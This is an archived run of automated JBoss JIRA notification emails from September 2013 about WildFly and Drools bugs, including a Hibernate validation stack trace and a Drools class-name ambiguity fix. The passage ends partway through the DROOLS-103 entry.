In-Reply-To: <JIRA.12501118.1379679983000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501118.1379679983000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501118.1379679983000.37328.1379680383499@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2118?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Juergen Zimmermann updated WFLY-2118:
-------------------------------------

    Attachment: mojarra-2.1.zip


Additionally I attached Mojarra 2.1.26 as mojarra-2.1.zip. Just unzip it in $JBOSS_HOME/modules. RichFaces 5.0 still requieres JSF 2.1
                
> PersistenceException breaks default error page
> ----------------------------------------------
>
>                 Key: WFLY-2118
>                 URL: https://issues.jboss.org/browse/WFLY-2118
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web (Undertow)
>            Reporter: Juergen Zimmermann
>            Assignee: Stuart Douglas
>         Attachments: mojarra-2.1.zip, testcase-WFLY-2118.zip
>
>
> I'm using the latest WildFly snapshot with Undertow 1.0.0.Beta13. When I get a PersistenceException caused by Hibernate due to an invalid entity (according to Bean Validation), then the webbrowser doesn't get the default error page. The stacktrace is shown below. I'll attach a testcase.
> {code}
> [com.arjuna.ats.arjuna] ARJUNA012125: TwoPhaseCoordinator.beforeCompletion - failed for SynchronizationImple< 0:ffffc0a8b801:4240ead4:523ac52c:15, org.hibernate.engine.transaction.synchronization.internal.RegisteredSynchronization at 20cf7473 >: javax.persistence.PersistenceException: error during managed flush
> 	at org.hibernate.jpa.spi.AbstractEntityManagerImpl$CallbackExceptionMapperImpl.mapManagedFlushFailure(AbstractEntityManagerImpl.java:1785) [hibernate-entitymanager-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.engine.transaction.synchronization.internal.SynchronizationCallbackCoordinatorImpl.beforeCompletion(SynchronizationCallbackCoordinatorImpl.java:118) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.engine.transaction.synchronization.internal.RegisteredSynchronization.beforeCompletion(RegisteredSynchronization.java:53) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at com.arjuna.ats.internal.jta.resources.arjunacore.SynchronizationImple.beforeCompletion(SynchronizationImple.java:76) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.arjuna.coordinator.TwoPhaseCoordinator.beforeCompletion(TwoPhaseCoordinator.java:273) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.arjuna.coordinator.TwoPhaseCoordinator.end(TwoPhaseCoordinator.java:93) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.arjuna.AtomicAction.commit(AtomicAction.java:162) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.internal.jta.transaction.arjunacore.TransactionImple.commitAndDisassociate(TransactionImple.java:1170) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.internal.jta.transaction.arjunacore.BaseTransaction.commit(BaseTransaction.java:126) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.jbossatx.BaseTransactionManagerDelegate.commit(BaseTransactionManagerDelegate.java:75)
> 	at com.arjuna.ats.jta.cdi.transactional.TransactionalInterceptorBase.endTransaction(TransactionalInterceptorBase.java:131) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.jta.cdi.transactional.TransactionalInterceptorBase.invokeInOurTx(TransactionalInterceptorBase.java:77) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at com.arjuna.ats.jta.cdi.transactional.TransactionalInterceptorRequired.intercept(TransactionalInterceptorRequired.java:52) [narayana-jts-jacorb-5.0.0.M4.jar:5.0.0.M4 (revision: ${buildNumber})]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_40]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_40]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_40]
> 	at java.lang.reflect.Method.invoke(Method.java:606) [rt.jar:1.7.0_40]
> 	at org.jboss.weld.interceptor.proxy.SimpleMethodInvocation.invoke(SimpleMethodInvocation.java:30) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.interceptor.chain.AbstractInterceptionChain.invokeNext(AbstractInterceptionChain.java:90) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.interceptor.chain.AbstractInterceptionChain.invokeNextInterceptor(AbstractInterceptionChain.java:75) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.interceptor.proxy.InterceptorMethodHandler.executeInterception(InterceptorMethodHandler.java:48) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.interceptor.proxy.InterceptorMethodHandler.invoke(InterceptorMethodHandler.java:41) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.bean.proxy.CombinedInterceptorAndDecoratorStackMethodHandler.invoke(CombinedInterceptorAndDecoratorStackMethodHandler.java:53) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at testcase.web.CustomerModel$Proxy$_$$_WeldSubclass.create(Unknown Source) [classes:]
> 	at testcase.web.CustomerModel$Proxy$_$$_WeldClientProxy.create(Unknown Source) [classes:]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_40]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_40]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_40]
> 	at java.lang.reflect.Method.invoke(Method.java:606) [rt.jar:1.7.0_40]
> 	at javax.el.ELUtil.invokeMethod(ELUtil.java:326) [javax.el-3.0-b07.jar:3.0-b07]
> 	at javax.el.BeanELResolver.invoke(BeanELResolver.java:536) [javax.el-3.0-b07.jar:3.0-b07]
> 	at javax.el.CompositeELResolver.invoke(CompositeELResolver.java:256) [javax.el-3.0-b07.jar:3.0-b07]
> 	at com.sun.el.parser.AstValue.invoke(AstValue.java:269) [javax.el-3.0-b07.jar:3.0-b07]
> 	at com.sun.el.MethodExpressionImpl.invoke(MethodExpressionImpl.java:304) [javax.el-3.0-b07.jar:3.0-b07]
> 	at org.jboss.weld.util.el.ForwardingMethodExpression.invoke(ForwardingMethodExpression.java:40) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.el.WeldMethodExpression.invoke(WeldMethodExpression.java:50) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.util.el.ForwardingMethodExpression.invoke(ForwardingMethodExpression.java:40) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at org.jboss.weld.el.WeldMethodExpression.invoke(WeldMethodExpression.java:50) [weld-core-impl-2.1.0.Beta1.jar:2013-09-05 17:01]
> 	at com.sun.faces.facelets.el.TagMethodExpression.invoke(TagMethodExpression.java:105) [jsf-impl-2.1.26.jar:2.1.26]
> 	at javax.faces.component.MethodBindingMethodExpressionAdapter.invoke(MethodBindingMethodExpressionAdapter.java:87) [jsf-api-2.1.26.jar:2.1]
> 	at com.sun.faces.application.ActionListenerImpl.processAction(ActionListenerImpl.java:101) [jsf-impl-2.1.26.jar:2.1.26]
> 	at javax.faces.component.UICommand.broadcast(UICommand.java:315) [jsf-api-2.1.26.jar:2.1]
> 	at javax.faces.component.UIViewRoot.broadcastEvents(UIViewRoot.java:786) [jsf-api-2.1.26.jar:2.1]
> 	at javax.faces.component.UIViewRoot.processApplication(UIViewRoot.java:1251) [jsf-api-2.1.26.jar:2.1]
> 	at com.sun.faces.lifecycle.InvokeApplicationPhase.execute(InvokeApplicationPhase.java:81) [jsf-impl-2.1.26.jar:2.1.26]
> 	at com.sun.faces.lifecycle.Phase.doPhase(Phase.java:101) [jsf-impl-2.1.26.jar:2.1.26]
> 	at com.sun.faces.lifecycle.LifecycleImpl.execute(LifecycleImpl.java:118) [jsf-impl-2.1.26.jar:2.1.26]
> 	at javax.faces.webapp.FacesServlet.service(FacesServlet.java:593) [jsf-api-2.1.26.jar:2.1]
> 	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:59) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:81)
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:113) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.security.handlers.AuthenticationCallHandler.handleRequest(AuthenticationCallHandler.java:52) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:45) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:58) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:65) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.security.handlers.SecurityInitialHandler.handleRequest(SecurityInitialHandler.java:70) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:25) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:209) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:196) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:69) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:130) [undertow-servlet-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.server.HttpHandlers.executeRootHandler(HttpHandlers.java:36) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:614) [undertow-core-1.0.0.Beta13.jar:1.0.0.Beta13]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_40]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_40]
> 	at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_40]
> Caused by: javax.validation.ConstraintViolationException: Validation failed for classes [testcase.domain.Customer] during persist time for groups [javax.validation.groups.Default, ]
> List of constraint violations:[
> 	ConstraintViolationImpl{interpolatedMessage='Min length = 2, max length = 32', propertyPath=name, rootBeanClass=class testcase.domain.Customer, messageTemplate='Min length = {min}, max length = {max}'}
> 	ConstraintViolationImpl{interpolatedMessage='Zip code is 5 digits', propertyPath=zip, rootBeanClass=class testcase.domain.Customer, messageTemplate='Zip code is 5 digits'}
> 	ConstraintViolationImpl{interpolatedMessage='A name must have one capital letter, followed by small letters', propertyPath=name, rootBeanClass=class testcase.domain.Customer, messageTemplate='A name must have one capital letter, followed by small letters'}
> ]
> 	at org.hibernate.cfg.beanvalidation.BeanValidationEventListener.validate(BeanValidationEventListener.java:159) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.cfg.beanvalidation.BeanValidationEventListener.onPreInsert(BeanValidationEventListener.java:94) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.action.internal.EntityInsertAction.preInsert(EntityInsertAction.java:196) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.action.internal.EntityInsertAction.execute(EntityInsertAction.java:96) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.engine.spi.ActionQueue.execute(ActionQueue.java:377) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.engine.spi.ActionQueue.executeActions(ActionQueue.java:369) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.engine.spi.ActionQueue.executeActions(ActionQueue.java:286) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.event.internal.AbstractFlushingEventListener.performExecutions(AbstractFlushingEventListener.java:340) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.event.internal.DefaultFlushEventListener.onFlush(DefaultFlushEventListener.java:52) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.internal.SessionImpl.flush(SessionImpl.java:1235) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.internal.SessionImpl.managedFlush(SessionImpl.java:405) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	at org.hibernate.engine.transaction.synchronization.internal.SynchronizationCallbackCoordinatorImpl.beforeCompletion(SynchronizationCallbackCoordinatorImpl.java:113) [hibernate-core-4.3.0.Beta4.jar:4.3.0.Beta4]
> 	... 68 more
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 08:43:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 08:43:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-253) Importing a domain class
 named "Exception" raises an ambiguity exception during RHS compilation
In-Reply-To: <JIRA.12500159.1378411795000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500159.1378411795000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500159.1378411795000.37360.1379680983438@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-253?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated DROOLS-253:
-------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1010281

    
> Importing a domain class named "Exception" raises an ambiguity exception during RHS compilation
> -----------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-253
>                 URL: https://issues.jboss.org/browse/DROOLS-253
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final,  6.0.0.CR3
>            Reporter: Davide Sottara
>            Assignee: Mario Fusco
>            Priority: Blocker
>             Fix For: 5.5.1.Final,  6.0.0.CR4
>
>
> If a user class named Exception is used,
> import my.own.domain.Exception
> rule "Foo"
> when then end
> the RHS compilation process resolves "Exception" to that name
> rather than to java.lang.Exception
> >> Rule compilation error [Rule name=Foo] : 
>    {if import * is used } The type Exception is ambiguous
>    {if explicit import is used } Exception is not Throwable

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 08:43:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 08:43:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-253) Importing a domain class
 named "Exception" raises an ambiguity exception during RHS compilation
In-Reply-To: <JIRA.12500159.1378411795000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500159.1378411795000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500159.1378411795000.37364.1379680983659@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-253?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806074#comment-12806074 ] 

RH Bugzilla Integration commented on DROOLS-253:
------------------------------------------------

Mario Fusco <mfusco at redhat.com> made a comment on [bug 1010281|https://bugzilla.redhat.com/show_bug.cgi?id=1010281]

If a user class named Exception is used,

import my.own.domain.Exception

rule "Foo"
when then end

the RHS compilation process resolves "Exception" to that name
rather than to java.lang.Exception

>> Rule compilation error [Rule name=Foo] :
{if import * is used }

The type Exception is ambiguous
{if explicit import is used }

Exception is not Throwable
                
> Importing a domain class named "Exception" raises an ambiguity exception during RHS compilation
> -----------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-253
>                 URL: https://issues.jboss.org/browse/DROOLS-253
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final,  6.0.0.CR3
>            Reporter: Davide Sottara
>            Assignee: Mario Fusco
>            Priority: Blocker
>             Fix For: 5.5.1.Final,  6.0.0.CR4
>
>
> If a user class named Exception is used,
> import my.own.domain.Exception
> rule "Foo"
> when then end
> the RHS compilation process resolves "Exception" to that name
> rather than to java.lang.Exception
> >> Rule compilation error [Rule name=Foo] : 
>    {if import * is used } The type Exception is ambiguous
>    {if explicit import is used } Exception is not Throwable

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 08:47:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 08:47:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1754) Cannot restart webapp bundle
 after activation failure
In-Reply-To: <JIRA.12475717.1348831497000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12475717.1348831497000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12475717.1348831497000.37382.1379681224302@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1754?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806078#comment-12806078 ] 

RH Bugzilla Integration commented on WFLY-1754:
-----------------------------------------------

Rostislav Svoboda <rsvoboda at redhat.com> changed the Status of [bug 959426|https://bugzilla.redhat.com/show_bug.cgi?id=959426] from ON_QA to VERIFIED
                
> Cannot restart webapp bundle after activation failure
> -----------------------------------------------------
>
>                 Key: WFLY-1754
>                 URL: https://issues.jboss.org/browse/WFLY-1754
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Thomas Diesler
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>
> {code}
> Caused by: java.lang.IllegalStateException
> 	at org.jboss.msc.value.InjectedValue.getValue(InjectedValue.java:47) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> 	at org.jboss.as.connector.deployers.ra.processors.CachedConnectionManagerSetupProcessor$CachedConnectionManagerSetupAction.setup(CachedConnectionManagerSetupProcessor.java:74)
> 	at org.jboss.as.web.ThreadSetupBindingListener.bind(ThreadSetupBindingListener.java:50)
> 	at org.apache.catalina.core.StandardContext.bindThread(StandardContext.java:4234)
> 	at org.apache.catalina.core.StandardContext.start(StandardContext.java:3740)
> 	at org.jboss.as.web.deployment.WebDeploymentService.start(WebDeploymentService.java:102)
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 08:47:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 08:47:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1754) Cannot restart webapp bundle
 after activation failure
In-Reply-To: <JIRA.12475717.1348831497000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12475717.1348831497000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12475717.1348831497000.37389.1379681224566@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1754?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806080#comment-12806080 ] 

RH Bugzilla Integration commented on WFLY-1754:
-----------------------------------------------

Rostislav Svoboda <rsvoboda at redhat.com> made a comment on [bug 959426|https://bugzilla.redhat.com/show_bug.cgi?id=959426]

Verified on EAP 620 ER2, issue simulated on EAP 610 GA and verified on EAP 620 ER2 with custom war archive. 

Latest Modeshape 3.5.0 is not possible to deploy on EAP 6.2.0.
                
> Cannot restart webapp bundle after activation failure
> -----------------------------------------------------
>
>                 Key: WFLY-1754
>                 URL: https://issues.jboss.org/browse/WFLY-1754
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Thomas Diesler
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>
> {code}
> Caused by: java.lang.IllegalStateException
> 	at org.jboss.msc.value.InjectedValue.getValue(InjectedValue.java:47) [jboss-msc-1.0.2.GA.jar:1.0.2.GA]
> 	at org.jboss.as.connector.deployers.ra.processors.CachedConnectionManagerSetupProcessor$CachedConnectionManagerSetupAction.setup(CachedConnectionManagerSetupProcessor.java:74)
> 	at org.jboss.as.web.ThreadSetupBindingListener.bind(ThreadSetupBindingListener.java:50)
> 	at org.apache.catalina.core.StandardContext.bindThread(StandardContext.java:4234)
> 	at org.apache.catalina.core.StandardContext.start(StandardContext.java:3740)
> 	at org.jboss.as.web.deployment.WebDeploymentService.start(WebDeploymentService.java:102)
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 08:47:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 08:47:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-253) Importing a domain class
 named "Exception" raises an ambiguity exception during RHS compilation
In-Reply-To: <JIRA.12500159.1378411795000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500159.1378411795000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500159.1378411795000.37395.1379681224893@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-253?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806082#comment-12806082 ] 

RH Bugzilla Integration commented on DROOLS-253:
------------------------------------------------

Mario Fusco <mfusco at redhat.com> made a comment on [bug 1010281|https://bugzilla.redhat.com/show_bug.cgi?id=1010281]

Fixed by https://github.com/droolsjbpm/drools/commit/2fe546dbd
                
> Importing a domain class named "Exception" raises an ambiguity exception during RHS compilation
> -----------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-253
>                 URL: https://issues.jboss.org/browse/DROOLS-253
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final,  6.0.0.CR3
>            Reporter: Davide Sottara
>            Assignee: Mario Fusco
>            Priority: Blocker
>             Fix For: 5.5.1.Final,  6.0.0.CR4
>
>
> If a user class named Exception is used,
> import my.own.domain.Exception
> rule "Foo"
> when then end
> the RHS compilation process resolves "Exception" to that name
> rather than to java.lang.Exception
> >> Rule compilation error [Rule name=Foo] : 
>    {if import * is used } The type Exception is ambiguous
>    {if explicit import is used } Exception is not Throwable

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 08:47:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 20 Sep 2013 08:47:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-253) Importing a domain class
 named "Exception" raises an ambiguity exception during RHS compilation
In-Reply-To: <JIRA.12500159.1378411795000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500159.1378411795000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500159.1378411795000.37399.1379681225051@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-253?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12806083#comment-12806083 ] 

RH Bugzilla Integration commented on DROOLS-253:
------------------------------------------------

Mario Fusco <mfusco at redhat.com> changed the Status of [bug 1010281|https://bugzilla.redhat.com/show_bug.cgi?id=1010281] from NEW to MODIFIED
                
> Importing a domain class named "Exception" raises an ambiguity exception during RHS compilation
> -----------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-253
>                 URL: https://issues.jboss.org/browse/DROOLS-253
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final,  6.0.0.CR3
>            Reporter: Davide Sottara
>            Assignee: Mario Fusco
>            Priority: Blocker
>             Fix For: 5.5.1.Final,  6.0.0.CR4
>
>
> If a user class named Exception is used,
> import my.own.domain.Exception
> rule "Foo"
> when then end
> the RHS compilation process resolves "Exception" to that name
> rather than to java.lang.Exception
> >> Rule compilation error [Rule name=Foo] : 
>    {if import * is used } The type Exception is ambiguous
>    {if explicit import is used } Exception is not Throwable

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 08:49:03 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Fri, 20 Sep 2013 08:49:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-253) Importing a domain class
 named "Exception" raises an ambiguity exception during RHS compilation
In-Reply-To: <JIRA.12500159.1378411795000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500159.1378411795000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500159.1378411795000.37406.1379681343432@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-253?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco resolved DROOLS-253.
--------------------------------

    Fix Version/s:     (was: 5.5.1.Final)
       Resolution: Done

    
> Importing a domain class named "Exception" raises an ambiguity exception during RHS compilation
> -----------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-253
>                 URL: https://issues.jboss.org/browse/DROOLS-253
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final,  6.0.0.CR3
>            Reporter: Davide Sottara
>            Assignee: Mario Fusco
>            Priority: Blocker
>             Fix For:  6.0.0.CR4
>
>
> If a user class named Exception is used,
> import my.own.domain.Exception
> rule "Foo"
> when then end
> the RHS compilation process resolves "Exception" to that name
> rather than to java.lang.Exception
> >> Rule compilation error [Rule name=Foo] : 
>    {if import * is used } The type Exception is ambiguous
>    {if explicit import is used } Exception is not Throwable

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 20 09:24:03 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Fri, 20 Sep 2013 09:24:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-103) NPE in PackageBuilderContext
 for mvel related code
In-Reply-To: <JIRA.12489807.1366287818000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12489807.1366287818000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12489807.1366287818000.37437.1379683443440@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-103?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco resolved DROOLS-103.
--------------------------------

    Resolution: Cannot Reproduce Bug

    
> NPE in PackageBuilderContext for mvel related code
> --------------------------------------------------
>
>                 Key: DROOLS-103
